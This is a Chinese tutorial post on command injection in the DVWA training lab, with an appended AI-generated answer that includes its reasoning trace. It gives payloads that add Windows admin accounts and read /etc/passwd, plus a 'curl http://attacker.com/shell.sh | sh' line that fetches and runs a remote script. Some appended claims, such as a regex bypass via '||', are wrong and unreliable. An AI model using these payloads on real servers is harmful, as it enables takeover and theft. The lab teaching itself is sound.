DVWA笔记(二)Command Injection(命令注入)

本文详细介绍了Web命令注入的原理,包括如何利用管道符执行命令以及在不同操作系统中的命令执行方式。通过分析DVWA的四个等级示例,展示了从无过滤到高级过滤的防御措施,特别提到了最高级别防御中对IP的四段数字验证。同时,讨论了防御命令注入的方法,如使用Escapeshellcmd()和Escapeshellarg()函数,并针对可能出现的乱码问题给出了解决方案。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >


前言

DVWA四个等级:

  1. 没有做过滤
  2. 做了基础过滤(中级)
    设置了命令黑名单’&&‘跟’;'过滤了
  3. 做了比较强的过滤
  4. 从逻辑上改了,将ip切割为四个部分,且都为数字

命令注入原理

原理: 通过web程序在服务器上拼接系统命令
危害: 如果在web应用使用的是root权限,则该漏洞可以导致攻击者在服务器上执行任意命令

一、注入流程

1.利用管道符 命令执行漏洞
在这里插入图片描述
执行ping命令以后查看目录

127.0.0.1|dir

2.命令管道符的补充:允许执行多条命令的符号

Windows系统支持的管道符如下:
" |" 前面命令输出结果作为后面命令的输入内容
"|| " 如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行。
"& " 两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。
"&& " 如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。

Linux系统支持的管道符如下:
" ; " 执行完前面的语句再执行后面的语句、同时执行多条命令。
" | " 显示后面语句的执行结果。
" || " 当前面的语句执行出错时,执行后面的语句。
" & "两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。
"&&"如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。

Linux系统还可以使用
分号(;)同时执行多条命令
还可以使用
重定向(>)在服务器中生成文件
或是使用(<)文件写入127.0.0.1&echo test>c:\1.txt
在c盘生成一个1.txt

二、源码分析

第一等级

<?php 

if( isset( $_POST[ 'Submit' ]  ) ) { 
    // Get input 
    $target = $_REQUEST[ 'ip' ];      //存放变量

    // Determine OS and execute the ping command. 
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {   
   // 判断这个服务器的操作系统是不是windows、确定操作系统并执行ping命令
        // Windows 
        $cmd = shell_exec( 'ping  ' . $target );  
} 
    else { 
        // *nix 
        $cmd = shell_exec( 'ping  -c 4 ' . $target ); 
    } 
    // Feedback for the end user 
    echo "<pre>{$cmd}</pre>"; 
} 
?>

Shell exec函数:让PHP的网页程序可以执行一些操作系统的命令、
如果不对用户输入的命令进行过滤,那么理论上就可以执行任意系统命令,
也就是相当于直接获得系统级的shell

命令执行语句

127.0.0.1 | net user
127.0.0.1 | net user test 123/add
127.0.0.1 | net localgroup admin istrators test/add

Windows下使用net user命令管理账户 net user 命令用法
1.查看所有用户 net user
2.查看单个用户信息net user 用户名
3.增加用户net user 用户名 密码 /add
4.删除用户net user 用户名 /delete
5.修改密码net user 用户名 *

最高等级

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $target = $_REQUEST[ 'ip' ];
    $target = stripslashes( $target );

    // Split the IP into 4 octects
    $octet = explode( ".", $target );

    // Check IF each octet is an integer
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
        // If all 4 octets are int's put the IP back together.
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
        is_numeric:用来判断后面的变量的值是否是一个数字
        对你输入的数据进行判断、首先分成四块、挨个判断、
        这每一块是不是一个数字、数的个数是不是四个。
        只要有一个条件不成立、下面的都不执行、只执行一个else输入一个echo
        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }

        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    else {
        // Ops. Let the user name theres a mistake
        echo '<pre>ERROR: You have entered an invalid IP.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

防御

漏洞防御
Escapeshellcmd()(一丝key普)函数:把字符串中所有可能瞒过shell而去执行另外一个命令的字符转义,如管道符(|)、分号(;)、重定向(>)、从文件读入(<)等

Escapeshellarg()函数
在给定的字符串两边加上单引号,并把字符串中的单引号转义,这样这个字符就可以安全地作为命令的参数

修改low级别网页文件

dvwa\vulnerabilities\exec\source\low.php进行测试
 $target = $_REQUEST[ 'ip' ];  
下面加$target = escapeshellcmd() ($target);

问题一:乱码

解决方法:将dvwa目录下includes文件夹中dvwaPage.inc.php文件的编码格式由utf8改为GBK

<think>嗯,用户想了解DVWA靶场中的Command Injection漏洞测试和利用方法,需要详细步骤和示例。首先,我得回忆一下DVWA的基本设置,尤其是命令注入的模块。用户可能已经知道DVWA是什么,但可能需要先登录到Low安全级别开始测试。 首先,命令注入通常发生在用户输入被拼接到系统命令中执行的情况下。在DVWACommand Injection模块,用户输入一个IP地址,然后系统执行ping命令。这时候,如果输入没有经过严格的过滤,攻击者可以注入额外的命令。 比如,在Low安全级别下,后端代码可能直接拼接用户输入的参数到ping命令中,而没有做任何过滤。这时候用户输入类似`127.0.0.1; ls`,分号后面的命令就会被执行。这时候需要给出具体的示例,比如如何利用不同的符号如`&&`、`|`或者`&`来注入命令。 接下来,不同安全级别的防护措施不同。比如Medium级别可能过滤了一些符号,但可能没有完全覆盖,这时候需要测试哪些符号被转义或过滤了。比如,可能过滤了`;`和`&&`,但`|`可能仍然可用,或者需要尝试其他绕过方法,比如用`%0a`(换行符)来分隔命令。 High级别的防护可能更严格,可能只允许特定的输入格式,比如限制输入为IP地址格式。这时候可能需要利用IP地址的格式特性,比如使用`127.0.0.1 || ls`,如果代码检查IP格式是否合法,但后面的命令仍然会被执行的话。或者,使用反引号执行命令,如`$(ls)`。 Impossible级别可能使用了白名单或其他彻底防护的方法,这时候基本无法注入,需要说明其防护机制,比如使用escapeshellarg函数处理参数。 在漏洞利用示例中,要分级别展示不同的注入方式,并说明如何通过Burp Suite这样的工具拦截请求,修改参数,或者直接在输入框中输入注入命令。还要注意不同操作系统下的命令差异,比如Windows和Linux的符号可能不同,但DVWA通常运行在Linux环境下。 另外,生成的相关问题需要考虑用户可能进一步想知道如何防御命令注入,或者DVWA其他漏洞模块的测试方法,比如SQL注入或XSS。还要注意提醒用户只在合法授权的环境下进行测试,避免法律问题。 现在需要确保回答结构清晰,步骤正确,示例准确,并且引用格式正确。要检查是否有遗漏的安全级别或常见绕过方法,比如使用反斜杠转义或者编码绕过过滤。同时,要确保给出的代码示例正确,比如PHP中可能存在漏洞的代码部分,以及防护措施如参数化执行或输入验证。</think># DVWA Command Injection漏洞测试与利用方法 ## 一、漏洞原理 命令注入漏洞产生于未正确过滤用户输入的情况下,攻击者通过拼接系统命令实现任意命令执行。DVWACommand Injection模块模拟了`ping`功能,其基础命令为: $$ ping -c 4 {user_input} $$ 当用户输入包含`;`、`&&`、`|`等命令分隔符时,可注入额外命令[^1]。 ## 安全测试步骤(分安全等级) ### 1. Low安全级别 **测试方法**: ```http POST /vulnerabilities/exec/ HTTP/1.1 Host: localhost ... ip=127.0.0.1;whoami&Submit=Submit ``` **注入示例**: - `127.0.0.1; ls /` 列出根目录 - `127.0.0.1 && cat /etc/passwd` 查看系统账户 ### 2. Medium安全级别 **过滤机制**: ```php $target = str_replace(';', '', $target); // 移除分号 ``` **绕过方法**: ```http ip=127.0.0.1%0aid && ping -c 4 127.0.0.1 ``` 使用换行符`%0a`或未过滤的`&`符号 ### 3. High安全级别 **防护代码**: ```php if( preg_match( '/^[0-9.]+$/i', $target ) ) // 限制数字和点号 ``` **绕过示例**: ```bash 127.0.0.1 || ls -al ``` 利用逻辑运算符绕过正则检测 ### 4. Impossible级别 **防护措施**: ```php $target = escapeshellarg($target); // 参数化处理 $cmd = shell_exec('ping -c 4 '.$target); ``` 此时无法进行命令注入 ## 三、漏洞利用演示 **Burp Suite拦截修改**: ```http POST /vulnerabilities/exec/ HTTP/1.1 ... ip=127.0.0.1;curl+http://attacker.com/shell.sh+|+sh ``` 该payload将下载并执行远程脚本 ## 四、防御方案 1. 使用`exec($command, $output)`替代直接命令拼接 2. 实施白名单验证: ```php if (!preg_match('/^[0-9.]+$/', $ip)) { die("Invalid IP format"); } ``` 3. 参数化处理: ```php $clean_ip = escapeshellarg($_POST['ip']); ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值